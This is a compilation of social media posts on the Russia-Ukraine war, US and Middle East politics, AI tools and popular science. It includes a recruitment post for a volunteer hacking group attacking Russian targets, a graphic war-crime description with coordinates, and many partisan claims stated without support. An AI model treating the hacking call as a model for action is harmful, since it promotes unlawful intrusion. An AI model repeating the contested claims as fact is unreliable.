1/ research ships with armed soldiers syst spy on gas pipelines, datacables, wind farms, & military infrastructure in the Baltic & North Seas. This is revealed by our int. #investigation involving journalists from six countries https://t.co/Ng7UHGudpS
Transnistria THREAD
#RussiaDecolonized
While we often focus on regions within Russia's recognized territory, it's crucial to highlight areas de facto occupied by Russia but internationally recognized as part of other countries. https://t.co/CEUv8atSUx
Letting russia keep parts of Ukrainian territories will mean genocide of Ukrainian people.
Some think that if a country is occupied, people may just continue living peacefully under a different flag and pay taxes to a different government. That’s not the case.
1/n https://t.co/N2uC45Inyh
This article, published this month is one of the most important studies of the Holodomor. Up until couple years ago I was skeptical that the Holodomor was genocidal because the intent to destroy Ukrainians as such hinged on reading Stalin's mind and the evidence was inconclusive https://t.co/1S0VlSQK1y
This deep (776 km) strategic strike by a cheap 100 drone swarm just cut off Russian Task Group North from up to 18 days of munitions, deeply affecting the Kursk land campaign
So much for "Landpower Experts" claiming drone strategic bombing doesn't affect the land battle.
Having hit Russia's huge ammo depot in #Toropets #Tver, Ukraine has protected NATO more than cowardly @POTUS or Russia's asset @bundeskanzler have ever dared to even dream about. This ammo depot was built to help killing us & our kids: in Berlin, Tallinn, Warsaw, Helsinki, Riga.
A Brief History of Timebombs
In 2000, there were 2 coronaviruses known to infect humans. Both are endemic with mild symptoms, having been with us since ancient times.
Today there are 7 human coronaviruses. Some inflict severe symptoms, most emerged recently.
But how - and why? https://t.co/clLzN3iFaF
🚨 Trump's would-be assassin, Ryan Wesley Routh?
His Facebook + website indicate he's been working an active psyop campaign on behalf of Russia to recruit volunteers for Ukraine.
I invite those with Ukraine-specific knowledge to examine the website: https://t.co/QEL0px9KX5
1/ https://t.co/28QEMIiQHZ
As soon as the cat-eating thing got to be an issue, I knew exactly how it would play out.
Establishment figures and media would mock and disparage the idea.
Someone would find a couple of examples of it actually happening (it’s a big country, lots of weird stuff happens).
People who already distrust the establishment would distrust it even more, increasing polarization.
Good job, everyone. 🤦♂️
I have to disagree with this. @realDonaldTrump is not capable of strategic thought. He’s a sociopath, purely impulsive, guided by his reptilian instincts. And he’s dumb as a rock.
Pete Buttigieg is one of the smartest and most capable political communicators on the planet. This is extremely insightful on Trump. https://t.co/4uoPedcmNk
Watch: Palestinian director of the UN-sponsored summer camps for Palestinian children, explains how UNRWA's educational program promotes martyrdom and encourages Palestinian children to sacrifice their souls as martyrs for the sake of Allah, Islam and Jihad.
As you can see in the video, she praises the Palestinian children who are willing to sacrifice themselves in order to fight the Jews. She then adds that she hopes another Intifada will break out soon so that the Palestinian children will have a chance to take part in it, kill Jews and die as martyrs for the sake of Allah (God of Islam).
It is important to note that every year the US, Britain, Canada, Australia, France, Germany and other western countries donate billions of dollars to UNRWA.
This madness must stop!
Link to the full video: https://t.co/5BRic8bvWP
This is misinformation and propaganda.
No, multinationals haven’t bought 1/3 or any land in Ukraine. Foreign companies are not allowed to own land
The Russian loan offer also included giving up sovereignty and EU aspirations. Ukraine chose the EU over Russia. And Russia invaded
I am accepting applications in DM today for those interested. The basic run down of the new group is this:
One of the Fellas was asking me what the requirements are, and its a good question to post openly so that there are no surprises. Our philosophy closely follows the management practices of Todd Howard, of Bethesda Software. He invented a metric that he spoke about in an interview once, which hit me profoundly, "The Low Asshole Quotient" or LAQ score. It translates to how egotistical or narcissistic or dominating someone is when working in a group dynamic.
Ensuring that 3rd squad has a friendly, helpful and harmonious atmosphere is the single most important factor for determining how successful a team can be in my experience. We dont tolerate fighting or politics, as that is like cancer to any team, cyber or otherwise. Todd got it right.
There are no requirements for amount of time that anyone must invest, as the work is not paid and all volunteer. As such we know everyone has other jobs, school, kids, pets, friends and obligations too. Most of the time we have to help train on work/life balance, as cyber soldiers will burn themselves out with enthusiasm for the work once enabled. Balance is longevity, over-sprinting is burnout.
Those who are able to provide the most excellent work will be elevated to other kinds of work, but we do not get fussy about ranks. Ego is dangerous, Humility, Professionalism and Patience are the way of a cyber soldier. A victory belongs to everyone, same as a defeat. That is why we are OneFist.
Our vetting requirements include ID background checks and face to face interviews because the work is serious, spies, haters and trolls do try to get in. It is a Requirement to us, and we wont violate it for any reason. If someone has something to hide such that they do not want to be known, OneFist is not the best fit. There are many cyber groups, we are only one, and everyone who wants to fight will find their perfect group.
Aside from LAQ, you need to have enough IT skills that you can you can run applications on a computer, and be willing to learn. For those who are compelled by the work and can put in the time, will make the largest contributions to Ukraine's defense. Sadly the work of an international cyber soldier is not paid, and the work requires software tools that you will want to have in order to be effective. It will set you back a few hundred dollars if you need to buy licenses for them if you don't have them. We will discuss those details with the recruits.
You need your own computer or laptop for the work. Low end equipment will not work. While you Can hack with a low end laptop with 8 gigs of ram, you will be severely limited will grow frustrated quickly. 16 Gigs of RAM, an i5 or above processor and 500 gigs of hard disk space plus a good internet connection at least are needed. PC's are the best for this work because they can be Windows or Linux natively and x86 architecture is what our tools are built on. You computer is your weapon. The more powerful it is, the more you can do as a cyber soldier.
The last is a very strict No Crime policy and an Immediate Expulsion policy. None of what we do involves crime of any kind, like extortion, ransomware, theft of valuables or currency, and the like. We want no part of any of that. We are not here to Hurt people, we are here to damage Russian war logistics.
The Immediate Expulsion policy regards violations of out rules of engagement; We Only work inside the borders of Russia, no exceptions. We do not attack critical civilian infrastructure, hospitals, water supplies, sewage plants, clinics and we do not target civilians. To violate the rules intentionally or take action without permission, results in immediate expulsion, no questions asked, and could lead to involving the authorities if warranted. This is not Hacktivism. We expect cyber soldiers to act like real soldiers in terms of candor and professionalism.
Final points to make. Spies, Haters and Pretenders do try to infiltrate the group. We weed them out as fast as we possibly can. Stories are checked, AI is used, and we do everything possible to catch spies by any means necessary. This is not a "for fun" group, I am not a summer camp councilor or an entertainer. We are just a bunch of ordinary civilians with normal lives who are trying to make a difference and stop the Hilter of our time from wiping out Ukraine.
Thats the real point of it. Not for fame or glory or money, but so that when our time is up we will know that we did our best. Hitler arose again in Putin, and we are not turning away from the danger, but towards it. Freedom is not free. Wanting to have made a difference to help, no matter how small our contributions are, is the motivation we seek in new recruits.
For the next few days we will take in folks interested in contributing to the work. It will be chaotic for the first few weeks until things are organized, so please be patient and keep things casual until the logistics normalizes for the new squad. Please check the pinned messages and announcements occasionally, as we will pin important facts and post updates.
This film "russians at war" is made by a director who also seems to have worked with RT and is blatantly white washing the crimes of her beloved country.
I genuinely can't believe how many Canadian orgs agreed to help make this film. It's a disgrace. https://t.co/jWiH3PdUKP
Inside Russia's plan to sway the the US election for Trump:
— A 277-page indictment. unsealed this week, gives unprecedented insight into the goals, target audiences, tactics and resources the Kremlin is using.
This is "Project Good Old USA"
1/11
https://t.co/q7AgexVq7e
Due to popular demand, Tesla AI team release roadmap:
September 2024
- v12.5.2 with ~3x improved miles between necessary interventions
- v12.5.2 on AI3 computer (unified models for AI3 and AI4)
- Actually Smart Summon
- Cybertruck Autopark 📐
- Eye-tracking with sunglasses 🕶️
- End-to-End network on highway 🛣️
- Cybertruck FSD 📐
October 2024
- Unpark, Park and Reverse in FSD
- v13 with ~6x improved miles between necessary interventions
Q1 2025
- FSD in Europe (pending regulatory approval) 🌍
- FSD in China (pending regulatory approval) 🇨🇳
A thread about what is wrong with the influence of Elon Musk and other tech billionaires. Another thread about content moderation will follow later this week.
Obviously, the problem isn’t that Musk is expressing his opinions, which is his freedom of speech. It isn’t that Musk has turned into a big supporter of Trump. It isn’t even that Musk is posting AI-generated fake images of Kamala Harris: https://t.co/1vprj7i0at
My concerns are more sociological and political economic.
My starting point is that in any society some individuals have more, much more power than others. Once upon a time, this may have been linked to physical strength or military prowess. Today, it is often related to what Simon Johnson and I called “persuasion power” in Power and Progress.
https://t.co/NtJ8Ae60qr
Persuasion power is rooted in status or prestige: those with greater status can more easily persuade others. Where status comes from and how unequally it is distributed vary greatly across societies.
In the United States, status became linked to money and wealth, and income and wealth inequality skyrocketed. This meant a very steep status hierarchy.
That is problematic for several reasons.
First, status – and relatedly persuasion power – are largely zero-sum affairs. More status for somebody means less status for another. A steeper status hierarchy makes some people happy, and others unhappy and dissatisfied. Investment in zero-sum activities is often inefficient and excessive, as compared to investment in non-zero-sum activities. Compare, for example, the social value of spending money on pure gold multi-million-dollar Rolex watches versus spending time to learn some new skills. Both may have intrinsic values for the investors (due to the beauty of the watch and the pride of acquiring new knowledge). But, on the whole, the first type of investment signals that you are richer and more able to undertake conspicuous consumption, and it can easily get out of hand – with people spending huge sums in order to edge ahead of others they see themselves in competition with. The second type of investment, on the other hand, increases your human capital also contributes to society. The first is largely zero-sum the second is largely non-zero-sum.
Second, there are evolutionary and social foundations for linking persuasion power to status and prestige – it is individually rational to learn from people who have expertise and it is reasonable to link this expertise to success. This type of learning is also good for communities, because it enables them to coordinate on certain best practices.
https://t.co/sTx2LmvJNX
But when status gets linked to wealth and wealth inequality becomes very large, this social justification is lost. Consider the following thought experiment. Who has greater expertise on carpentry? A good, master carpenter or a hedge fund billionaire? If we think about it this way, we would probably conclude the former. But when wealth becomes status, we may start attaching more and more importance to views of hedge fund billionaires on carpentry. This example was purposefully simple and sharp. Let’s take another one to see why the “wealth is status” social equilibrium is problematic. Whose views on freedom of speech you want to attach more importance to? A tech billionaire or a philosopher who has grappled with ethical questions related to the freedom of speech?
Third, even more problematic is the fact that in most societies, wealth inequality has an arbitrary dimension. Take Wilt Chamberlain and Lebron James. We may argue endlessly about which one is better, but clearly, they were both exceptionally talented basketball players. Chamberlain is estimated to have had a wealth of $10 million at the time of his death. Lebron James’s wealth today is estimated at $1.2 billion. These different outcomes are largely arbitrary. Chamberlain happened to live at a time when there were sports stars did not get compensated as much. This is partly about technology (everybody can watch Lebron James today), partly about norms (we’ve have made it much more acceptable for people to be paid hundreds of millions of dollars), and partly about taxes (if the US today had the kinds of tax rates that it had in the 1950s, it would not generate such large wealth inequality). Similarly, if the tech sector did not become so central to the economy and did not have a winner-take-all aspect (which was also partly a choice of how we organize several markets and sectors), tech billionaires would not have become so rich. Bill Gates or Elon Musk are not any wiser because they are taxed less. But they have much more wealth because they are taxed so little. But then in a “wealth is status” social equilibrium, their status and social influence multiplies because they are taxed so little.
Fourth, there is something even more pernicious which Simon Johnson and I explored in Power and Progress using the example of Ferdinand de Lesseps. In fact, we thought this was so important that we devoted the first full chapter, Chapter 2, of the book to it. Lesseps gained tremendous status in late 19th century France, coming to be identified as the “Le Grand Français” (the great Frenchman), because of his success (and luck) in successfully completing the Suez Canal. He showed great skills in convincing politicians both in Egypt and France and some foresight in seeing that maritime international trade would become very important. He was also tremendously lucky in that his hopes that technological solutions to the way that he wanted to build the canal (without locks, which was initially impossible because of the amount of digging excavation that would be necessary) were developed just-in-time to save the project. But then what did Lesseps do with this prestige? He became reckless, unhinged and cocky, pushing the Panama Canal project in an unworkable direction, which ultimately led to the deaths of more than 20,000 people and to financial ruin for many more (including his own family). Persuasion power also makes you unrestrained, which can be socially dangerous and disruptive. Simon and I thought that Lesseps’s story was relevant precisely because the same dynamics were being played out with many tech leaders today.
Fifth, some very rich people choose not to use the status conferred on them by their wealth to centrally influence critical debates (think of Warren Buffett). Some like Bill Gates or Elon Musk do. It follows as a corollary of what I have argued so far that this is not desirable, because their status is excessive, and they are now influencing key social choices beyond their expertise. It is not tech billionaires’ fault that US policy is fueling massive inequality (though they benefit from it handsomely and many of them then use their status in order to keep taxes low and regulations light). But it is their responsibility if they start misusing the huge status that this wealth inequality affords them. It is their responsibility if they turn into bullies and start punching down on people who disagree with them, because they themselves start believing that everybody should respect their opinion on every topic. It is absolutely their responsibility if they use their platform for further polarizing society.
Finally, if we are in such a situation the last thing we want is to give even bigger forums – for example, in the form of their own social network – to these people who already have excess status and influence, and this is doubly true if they have a tendency to punch down.
I dag fik jeg opfyldt et af mine største rejseønsker, da Folketingets Grønlandsudvalg var forbi nordboruinerne i Gardar og Hvalsø i Sydgrønland. Det er ikke kendt nok, at vikingerne flyttede ind i tomt land, da de kom til Grønland fra 985. Mange danskere har en opfattelse af, at vi skubbede inuitterne ud, da vi (primært nordmænd) kom dengang, men inuitterne kom først flere hundrede år senere.
I just opensourced something I have been working on for months.
I call it “super prompt” because it also allows some LLMs (claude) to come up with really novel ideas, (picture is an example the prompt is larger).
Its built in XML agent format btw.
Github in comments. https://t.co/iMZKiAgRzG
Dmitry Medvedev shared an elaborate post (which took him nearly a week to craft), where he lays out the reasons behind Russia's ruthless tactics in seizing Donbas, even if it means levelling cities and sacrificing hundreds of thousands lives.
According to him, Donbas holds mineral resources valued at $7.3 trillion, a sum that, in Putin's eyes, justifies the loss of a few hundred thousand Russian lives (multiplied by 5 million rubles of payments per corpse, that's still nothing).
For the past decade, the Russian people have been laboring under the Kremlin's control, eager to exploit this valuable resource. Meanwhile, Ukrainians continue to fight valiantly, refusing to surrender their land to the murderous thieves and plunderers.
At the height of One Million Checkboxes's popularity I thought I'd been hacked. A few hours later I was tearing up, extraordinarily proud of some brilliant teens.
A thread about my favorite story from running OMCB....
10 years since the Ilovaisk massacre...
...the days when unmarked Russian regular military forces crossed the border and surrounded a large Ukrainian task force near the ill-fated town in Donbas...
...and then massacred Ukrainian columns retreating via what was supposed to be safe ways out upon an agreement that Russia despicably violated.
At least 366 Ukrainian soldiers were killed, over 400 wounded, and over 300 were taken prisoner.
One of the most painful Ukrainian tragedies of the war's early stage and one of the most detestable war crimes that put a giant mark of abomination and shame on fascist Russia's face.
Ever since then, August 29 has been the Remembrance Day for Ukrainian Defenders.
We remember.
Programming is changing so fast... I'm trying VS Code Cursor + Sonnet 3.5 instead of GitHub Copilot again and I think it's now a net win. Just empirically, over the last few days most of my "programming" is now writing English (prompting and then reviewing and editing the generated diffs), and doing a bit of "half-coding" where you write the first chunk of the code you'd like, maybe comment it a bit so the LLM knows what the plan is, and then tab tab tab through completions. Sometimes you get a 100-line diff to your code that nails it, which could have taken 10+ minutes before.
I still don't think I got sufficiently used to all the features. It's a bit like learning to code all over again but I basically can't imagine going back to "unassisted" coding at this point, which was the only possibility just ~3 years ago.
Republicans will argue that these 40,000 voters registered with only a state ID or license, and left their Social Security Number blank (it’s not required on the AZ form), so they "haven’t proven" U.S. citizenship.
Fun fact: You can’t get an Arizona ID without a verified SSN. https://t.co/FIgQ1DxhQB
The strongest evidence for dark matter:
In hot plasma like the early Universe structure can't persist. Whenever matter is compressed by gravity it is driven apart by radiation pressure
The resulting oscillations wash out every seed of over density. Galaxies never form
1/6 https://t.co/6GtTsEFi47
Vladimir Putin is unlikely to announce mobilization, but will continue to use conscripts to replenish the army. A survey in Russia showed that the level of public anxiety after Ukraine's entry into Kursk increased less than it was when mobilization was announced.
1/15 https://t.co/pPHlwLxy3g
…and all of these areas have collapsing demographics.
The number of people does not matter, it is the intellectual capital and productive capacity per capita that matters
GeoConfirmed UKR.
WARCRIME - Very graphic footage.
Beheading of an Ukrainian soldier by soldiers of the 155th Separate Guards Brigade of Naval Infantry of the Russian army. Afterwards they placed his head on a stick.
Location of the head - 50,81341, 35,41418
RC77+9M7 Kolotilovka, Belgorod Oblast, Russia
Location of the deceased soldier in 0:09, right - 50.813494, 35.414328
RC77+9PW Kolotilovka, Belgorod Oblast, Russia
GeoLocated by @PowerPigeon2
Geolocation: https://t.co/KvnZUiJHay
https://t.co/aCku7QylZ9
Location: https://t.co/Bj2aAa9pj3
Sources: https://t.co/ls6W0oKooY
https://t.co/m6Oa7oRqH0
https://t.co/Ymfn8AIh2e
https://t.co/zwfqprffY3
https://t.co/bxHpQfkOUV
A bit of an unstructured rant but I’m jet lagged in London so here goes..
I meet a lot of product builders who want to join hyper growth or promising startups and struggle to find any inroads. I ask them what have they done so far and the vast majority say they wrote a well crafted cold email or got a referral. When I ask if they have built anything on top of the prospective company tools that they might find interesting or if they wrote about their experience using the product, most just give me an incredulous stare.
Are you kidding me? In this era of incredible tools like @replit @Galileo_AI @cursor_ai and many others, if you can’t even build a prototype then of course that startup has no business hiring you. I think the vast majority of PMs don’t realize how quickly their job is changing and how much AI will truly automate their work. You have to quickly learn how to build, sell, research or design (ideally all) or you are truly ngmi. And the amazing thing is you can learn these fairly fast if you give it sometime today.
It is sad that product management as a craft has mostly gone away from building hard things to simply being a conductor with largely no control. And it’s because at large companies you just simply learn the wrong lessons (process over agency, bureaucracy over shipping, talking internally vs talking to customers, optics over impact). People don’t like hearing this but this is the reason why startups don’t hire big tech folks.
So before you apply to your next startup job, I urge you to really take some time - try and build something of value. It really doesn’t take that long. And I guarantee you will make inroads faster than you think.
@norvid_studies @jcaread Here’s one such admission from Asimov, in the prolegomenon to Part II of the compilation “The Rest of the Robots,” 1964. https://t.co/bkF69bnWc9
By the way, this thread is courtesy of @TivadarDanka. He allowed me to republish it.
3 years ago, he started writing a book about the mathematics of Machine Learning.
It's the best book you'll ever read:
https://t.co/hZWgKEZecn
Nobody explains complex ideas like he does.
One thing I forgot to tell. The FSB will get Ukrainian uniforms and demonstratively execute local Russians, to create "evidence of Ukraine's brutality". This is what NKVD/MGB/KGB did in the West of Ukraine to undercut support for the Resistance, and later FSB did in Ichkeria
What is a proton made of?
Early scattering experiments probing the substructure of the proton found an interesting result. Instead of being made just from point-like particles (quarks), there seemed to be more going on inside the proton
A🧵1/6 https://t.co/SsNLHZKLuz
‼ More than 95% of Ukrainian POWs face tortures in Russia, - UN
"They are tortured during the first interrogation. They are beaten with metal sticks and batons, get severely shocked with electricity. They get stripped. This is terrible. This is the worst I have seen in 20 years of my career visiting prisoners on behalf of the UN. Torture is widespread and structural. 95% of Ukrainian prisoners of war have been tortured, and this is a war crime," Head of the UN Human Rights Monitoring Mission in Ukraine Danielle Bell claims, according to Ukrinform.
The second picture shows Oleksandr Ishchenko, a Ukrainian defender who has recently died in a Russian detention center due to a blunt chest injury. Before he died, he tried to end his life a few times, ZMINA Human Rights Center reported.
🚨 LISTEN UP 🚨:
The reason the @GOP and Trump don’t seem to be concerned about winning the election is terrifyingly simple: they don’t think they’re going to need to because they have dozens of election-deniers in place across the swing states planning not to certify results. https://t.co/Hih6e1WCzr
🚨 Breaking: Massive underground H×mas highway from Gaza to Egypt uncovered in Rafah 👇
If you believe Egypt's claim that they didn't know about it, I've got a bridge to sell you...
https://t.co/tsdAM8vAQB
No pickup truck in the world can be subjected to this type of abuse without sustaining severe damage – in fact, the Ford F-150 in this so-called "test" was not subjected to 1/10th the abuse that the Cybertruck endured. https://t.co/5BgdpmVZgx
In 2011 Iran captured a fully intact downed advanced RQ-170 drone.
President Obama overruled advisors who wanted to *immediately* launch a strike to destroy the technology. Obama feared Iran would respond.
Iran is now a world power in drones because of Obama's weakness. https://t.co/TeUonGtVkj
A lot happened in July.
But, one event went quietly unnoticed.
The result of largest American controlled experiment in Universal Basic Income (UBI) was released.
You haven’t heard about it because the findings are terrifyingly bad. (1/12) https://t.co/Q4NMtF5niQ
1/7 Too scared to mobilize: russia is finding it increasingly challenging to recruit soldiers and, as a result, needs to raise signing bonuses and pay to attract new recruits. Update by @joni_askola https://t.co/VkdgpyDSSN
There's a surge of comments on social media claiming Ukraine deserves the war for allegedly killing 14 000 ethnic Russians, and that Russia had no choice but to invade to protect them. Let's dispel this myth once again.
But there were indeed 14K casualties before 2022 1/ https://t.co/Gi86naPFMw
It's important to understand what's happening in Venezuela right now, and how the Biden/Harris team helped put the brutal Nicolas Maduro in a strategic corner.
1/ First - let me be clear: the briefings I've received show Maduro lost the presidential election - badly.
In the past 24 hours, .@elonmusk has posted multiple false claims about voters being "imported" illegally. These claims are 100% false, and I again implore him to talk to actual election officials or experts to learn the reality of our secure elections. /1
Chersonese was a thousand years old Greek city when the Viking ruler of Kyiv Valdemar accepted Christianity here in order to marry a daughter of the Byzantine emperor. Muscovy came centuries later. https://t.co/c3d7tRvqCU
9 reasons why the Brihadeeswara Temple is one of the greatest structures ever built.
1. The Temple is built using the interlock method where no cement, plaster or adhesive was used between the stones. It has survived 1000+ years and 6 earthquakes. https://t.co/7GHmAFnQZl
Har Rusland altid været konsekvent modstander af Ukraine i NATO? Det er jo påstanden fra "realister" som @KasperStoevring og Marie Krarup, at der altid har gået en russisk "rød linje" her, fordi Ukraine i NATO strider mod russiske sikkerhedsinteresser. Det er ikke rigtigt. 1/n
🧵We KNOW Donald Trump is a criminal. But not enough Americans know what happened to the criminals around him. You’re not going to like the answer.
What if I told you that the New York City mob never disappeared, and it’s alive and well in the GOP? /1 https://t.co/5yi94aonyZ
1/ Sam Altman gave low-income people $1,000/month for three years, no strings attached.
Now, the results of one of the largest guaranteed-basic-income studies are in.
Let's get into it. https://t.co/uK8ZsRz3hB
Introducing Whisper Diarization: Multilingual speech recognition with word-level timestamps and speaker segmentation, running 100% locally in your browser thanks to 🤗 Transformers.js!
Tested on this iconic Lettermen interview w/ Grace Hopper from 1983!
Demo (+ source code) 👇
174 years ago there was a huge storm in northern Scotland, and it uncovered something strange.
From beneath the soil emerged a perfectly preserved village older than the Pyramids, and it even had furniture.
This is the 5,000 year old story of Skara Brae... https://t.co/jLVixDeuml
Imagine waging war against a country that provides critical components of your electrical infrastructure, and then pissing off their allies so much that they ban the export to your country of even more critical components of your electrical infrastructure, and then conscripting the linemen and engineers who maintain your electrical infrastructure.
1/ Short 🧵 on elections and felon candidates for all my American fellas.
I am Italian and I lived through the Berlusconi era. In a lot of ways Berlusconi was to Italy what Trump is to the USA.
If you want to know what will happen, look at Italy 20 years ago. https://t.co/NDjmbmvKB8
Today lets talk about Russian propaganda and disinformation. 🧵
Every kinetic war waged is also accompanied by the massive use of propaganda and disinformation. Over the last century the Soviet Union and the Russian Federation have developed a distinctive toolset to influence 1/ https://t.co/R5oj133Eya
An elastic band from underwear helped refute Russian propaganda. A video was posted online showing a Russian soldier who, after being hit by an FPV drone, asked his comrade to stop the torture quickly, and his comrade prescribed him a lead painkiller in the head. Russian
1/9 https://t.co/FXJY3pNQS2
Modern Indians have DNA from races that came in 3 waves:
- Ancient hunter-gatherers from Africa 65K years ago
- Middle-Eastern Pre-farmers from 6k-4k BCE
- Steppe Herders from Ukraine/Kazakhstan 1800-1500BCE
From these we got: Aryans, Indus Valley, Dravidians, Modern Indians
Latest: An analysis of open source evidence, as well as multiple missile experts, have pointed to a Russian launched Kh-101 cruise missile being the weapon that struck a children’s hospital in Kyiv https://t.co/qN0KFzBwt1
I encountered a delightful little astrodynamics proof last week when an astronaut casually stated it as a fact, and when I looked skeptical, he just smiled and said, "Check it yourself."
Here's the statement:
"It takes 2 hours to orbit at the surface of any object made of rock"
There was a super impressive AI competition that happened last week that many people missed in the noise of AI world. I happen to know several participants so let me tell you a bit of this story as a Sunday morning coffee time.
You probably know the Millennium Prize Problems where the Clay Institute pledged a US$1 million prize for the first correct solution to each of 7 deep math problems. To this date only one of these, the Poincaré conjecture, has been solved by Grigori Perelman who famously declined the award (go check Grigori out if you haven't the guy has a totally based life).
So this new competition, the Artificial Intelligence Math Olympiad (AIMO) also came with a US$1M prize but was only open to AI model (so the human get the price for the work of the AI...). It tackle also very challenging but still simpler problems, namely problems at the International Math Olympiad gold level. Not yet the frontier of math knowledge but definitely above what most people, me included, can solve today.
The organizing committee of the AIMO is kind-of-a who-is-who of highly respected mathematicians in the world, for instance Terence Tao widely famous math prodigy widely regarded as one of the greatest living mathematicians.
Enter our team, Jia Li, Yann Fleuret, and Hélène Evain. After a successful exit in a previous startup (that I happen to have know well when I was an IP lawyer in a previous life but that's for another story) they decided to co-found Numina as a non-profit to do open AI4Math.
Numina wanted to act as a counterpoint to AI math efforts like DeepMind's but in a much more open way with the goal to advance the use of AI in mathematics and make progress on hard, open problems. Along the way, they managed to recruit the help of some very impressive names in the AI+math world like Guillaume Lample, co-founder of Mistral or Stanislas Polu, formerly pushing math models at OpenAI.
As Jia was participating in the code-model BigCode collaboration with some Hugging Face folks, came the idea to collaborate and explore how well code models could be used for formal mathematics.
For context, olympiad math problems are extremely hard and the core of the issue is in the battle plan you draft to tackle each problem. A first focus of Numina was thus on creating high quality instruction Chain-of-Thought (CoT) data for competition-level mathematics. This CoT data has already been used to train models like DeepSeek Math, but is very rarely released so this dataset became an unvaluated ressource to tackle the challenges.
BigCode's lead Leandro put Jia in touch with the team that trained the Zephyr models at Hugging Face, namely, Lewis, Ed, Costa and Kashif with additional help from Roman and Ben and the goal became to have a go at training some strong models on the math and code data to tackle the first progress prize of AIMO.
And the trainings started:
Jia being an olympiad coach, was intimately familiar with the difficulty level of these competitions and able to curate an very strong internal validation set to enable model selection (Kaggle submissions are blind). While iterating on dataset construction, Lewis and Ed from Hugging Face focused on training the models and building the inference pipeline for the Kaggle submissions.
As often in competition it was an intense journey with Eureka and Aha moments pushing everyone further.
Lewis told me about a couple of them which totally blow my mind. A tech report is coming so this is just some "along the way" nuggets that will be soon gathered in a much more comprehensive recipe and report.
Learning to code: The submission of the team relied on self-consistency decoding (aka majority voting) to generate N candidates per problem and pick the most common solution. But initial models trained on the Numina data only scored around 13/50... they needed a better approach. They then saw the MuMath-Code paper (https://t.co/9KGmjGJvT7) which showed you can combine CoT data with code data to get strong models. Jia was able to generate great code execution data from GPT-4 to enable the training of the initial models and get to impressive boost in performance.
Taming the variance: Another Ahah moment came at some point when a Kaggle member shared a notebook showing how DeepSeek models worked super well with code execution (the model breaks down the problem into steps and each step is run in Python to reason about the next one).
However, when the team tried this notebook they found this method had huge variance (the scores on Kaggle varied from 16/50 to 23/50).
When meeting in Paris for a hackathon to improve this issue (like the HF team often does) Ed had the idea to frame the majority voting as a "tree of thoughts" where you'd progressively grow and prune a tree of candidate solutions (https://t.co/dkKtBMrIPm).
This had an impressive impact on the variance and enabled them to be much more confident in their submissions (which showed in how the model ended up performing extremely well on the test set versus the validation set)
Overcoming compute constraints: the Kaggle submissions had to run on 2xT4s in under 9h which is really hard because FA2 doesn't work and you can't use bfloat16 either. The team explored quantization methods like AWQ and GPTQ, finding that 8-bit quantization of a 7B model with GPTQ was best
Looking at the data: a large part of the focus was also on checking the GPT-4 datasets for quality (and fixing them) as they quickly discovered that GPT-4 was prone to hallucinations and failing to correctly interpret the code output. Fixing data issues in the final week led to a significant boost in performance.
Final push: The result were really amazing and the model climbed to the 1 place. And even more, while tying up for first place on the public, validation leaderboard (28 solved challenges versus 27 for the second place), it really shined when tested on the private, test leaderboard where it took a wide margin solving 29 challenges versus 22 for the second team.
As Terence Tao himself set it up, this is "higher than expected"
Maybe what's even more impressive about this competition, beside the level of math these models are already capable of is how ressource contraint the participants were actually, having to run inference in a short amont of time on T4 which only let us imagine how powerful these models will become in the coming months.
Time seem to be ripe for GenAI to have some impact in science and it's probably one of the most exciting thing AI will bring us in the coming 1-2 year. Accelerating human development and tackling all the real world problems science is able to tackle.
I am a huge fan of learning by doing, but this seems like a great free book about deep learning.
If you are looking for a stellar weekend reading, this could be it 😀 👇 https://t.co/SkSm9cTIj8
This is evidenced by the recent initiative spearheaded by @thalesgroup, which brought together the majority of French drone manufacturers for a day dedicated to aerial drones. https://t.co/BzjxQ0pxky
The https://t.co/tCGiEHzUlI publication recorded an interview with a Russian occupier who fled to the West. “We really are fucking orcs”: the story of a grenade launcher deserter from “Storm Z”, who is now seeking political asylum. He told them what is happening in these
1/18 https://t.co/XGKbjDMkUW
The use of crippled/wounded Russian men as soldiers is not the only or even the most important indicator that Russia has hit the mobilization wall⬇️
Nor are female prisoners, foreign mercs or DPRK soldiers.
Russia is now deploying Hitlerjugend-esque child-soldiers.
Wall🧵
1/
The James Webb Space Telescope has started capturing images of galaxies so far away that they are causally disconnected from the Earth — nothing done here or there could ever interact. 🧵
1/ https://t.co/aCfGMaQmHq
This morning, I spoke to a friend in Gaza whom I had made during my time as a foreign correspondent. He telephoned me from his stifling tent in Deir al Balah, which had been donated by the Saudis.
“Food is available, everything is available,” he told me. “Meat, chicken, vegetables. It is not aid. It is coming from Israel, brought in by private people through the Keren Shalom crossing and sold to us as a business. The prices are much better, just a little bit higher than before the war.”
This was a relief, he added, as for seven months, Hamas had been stealing humanitarian aid and selling it to the population at exorbitant rates. Now, goods are being bought and sold as normal. Everybody he knows hates the jihadists with a passion, he remarked, scoffing at polls showing widespread support for the group in Gaza…
Sometimes it seems that western progressives have more sympathy for Hamas and a greater alignment with its goals than those who have actually experienced jihadism in Gaza.
From my @Telegraph column today. Read here: https://t.co/B5oIrrP5un
Ilya Yashin turns 41 today.
But he'll spend it in a Russian prison, where he is serving an 8.5-year sentence for sharing the truth about war crimes in Bucha.
🧵You should know his story
For months, we heard famine in Gaza was "imminent." But there has been no famine.
The same UN-backed experts who predicted the famine have confirmed it did not materialize. But the headlines, citing their reports, still say Gaza is starving. What is going on? (A long 🧵) 1/
The ICC has issued arrest warrants for Sergei Shoigu, the former Russian defence minister, and Chief of the Russian General Staff Valery Gerasimov.
The warrant covers both war crimes and crimes against humanity. https://t.co/Kd2PlEwHsc
When Julian Assange “tried to distance himself from Guccifer by scapegoating Seth Rich, freelance journalist Emma Best gave him a dose of his own medicine by sending Buzzfeed News some of his private Twitter direct messages (DMs), which Buzzfeed then published.” 1/ https://t.co/e4TTLxMCxL
Another Ukrainian development related to sea drones has become known. Ukrainian sea drones have learned to mine the sea routes of Russian ships. Thanks to this tactic, four enemy vessels were sunk. As reported in the article by The Wall Street Journal, the Russians,
1/7 https://t.co/vnzRuGt5wO
Nigel Farage's claims that the West allegedly provoked the Russian invasion of Ukraine are not coming out of nowhere, and the context behind this picture from a few years ago helps understand his claims. Left: Farage, right: Nadia Borodi (Sass). 1/10 https://t.co/u4ilqtGKN3
"International human rights lawyer, Hillel Neuer, silences the entire Arab world at the UN Human Rights Council after they dared to criticize the human rights record of Israel, i.e. the Jewish state.
He did it with one simple question: "Where are your Jews?"
After the re-establishment of the State of Israel, the Arabs not only tried to destroy the Jewish state but also tried to get rid of the Jewish minority in their own states.
